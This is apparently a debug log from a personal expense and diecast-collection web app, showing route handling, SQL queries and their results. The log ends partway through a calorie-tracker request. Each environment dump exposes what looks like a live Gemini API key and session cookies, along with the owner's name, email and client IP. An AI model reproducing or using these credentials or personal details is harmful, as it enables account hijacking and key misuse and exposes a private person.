2025-12-16T04:33:04.088Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T04:33:04.319Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2025-12-16T04:33:04.319Z server-connect:app Executing action step identify
2025-12-16T04:33:04.319Z server-connect:app options: { provider: 'security' }
2025-12-16T04:33:04.319Z server-connect:output identity: 1
2025-12-16T04:33:04.319Z server-connect:app Executing action step restrict
2025-12-16T04:33:04.319Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:33:04.319Z server-connect:output restrict: undefined
2025-12-16T04:33:04.320Z server-connect:app Executing action step custom
2025-12-16T04:33:04.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-16T04:33:04.321Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2025-12-16T04:33:09.408Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2025-12-16T04:33:09.408Z server-connect:app Executing action step identify
2025-12-16T04:33:09.408Z server-connect:app options: { provider: 'security' }
2025-12-16T04:33:09.408Z server-connect:output identity: 1
2025-12-16T04:33:09.408Z server-connect:app Executing action step restrict
2025-12-16T04:33:09.408Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:33:09.409Z server-connect:output restrict: undefined
2025-12-16T04:33:09.409Z server-connect:app Executing action step custom
2025-12-16T04:33:09.409Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-16T04:33:09.410Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 68 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 20 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 }
]
2025-12-16T04:59:16.393Z server-connect:router Serving templateView /
2025-12-16T04:59:16.394Z server-connect:app Executing action step identify
2025-12-16T04:59:16.394Z server-connect:app options: { provider: 'security' }
2025-12-16T04:59:16.394Z server-connect:output identity: 1
2025-12-16T04:59:16.394Z server-connect:app Executing action step restrict
2025-12-16T04:59:16.394Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:59:16.396Z server-connect:output restrict: undefined
2025-12-16T04:59:16.396Z server-connect:app Executing action step restrict
2025-12-16T04:59:16.396Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:59:16.397Z server-connect:output restrict: undefined
2025-12-16T04:59:16.397Z server-connect:router Render template layouts/main
2025-12-16T04:59:16.397Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T04:59:17.036Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T04:59:17.036Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T04:59:17.036Z server-connect:app Executing action step identify
2025-12-16T04:59:17.036Z server-connect:app options: { provider: 'security' }
2025-12-16T04:59:17.036Z server-connect:output identity: 1
2025-12-16T04:59:17.036Z server-connect:app Executing action step restrict
2025-12-16T04:59:17.036Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:59:17.037Z server-connect:app Executing action step identify
2025-12-16T04:59:17.037Z server-connect:app options: { provider: 'security' }
2025-12-16T04:59:17.037Z server-connect:output identity: 1
2025-12-16T04:59:17.037Z server-connect:app Executing action step restrict
2025-12-16T04:59:17.037Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:59:17.038Z server-connect:output restrict: undefined
2025-12-16T04:59:17.038Z server-connect:app Executing action step single
2025-12-16T04:59:17.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T04:59:17.038Z server-connect:output restrict: undefined
2025-12-16T04:59:17.038Z server-connect:app Executing action step select
2025-12-16T04:59:17.039Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T04:59:17.039Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T04:59:17.043Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T04:59:24.091Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T04:59:24.091Z server-connect:app Executing action step identify
2025-12-16T04:59:24.091Z server-connect:app options: { provider: 'security' }
2025-12-16T04:59:24.091Z server-connect:output identity: 1
2025-12-16T04:59:24.091Z server-connect:app Executing action step restrict
2025-12-16T04:59:24.091Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:59:24.092Z server-connect:output restrict: undefined
2025-12-16T04:59:24.092Z server-connect:router Render template calorie-tracker
2025-12-16T04:59:24.092Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
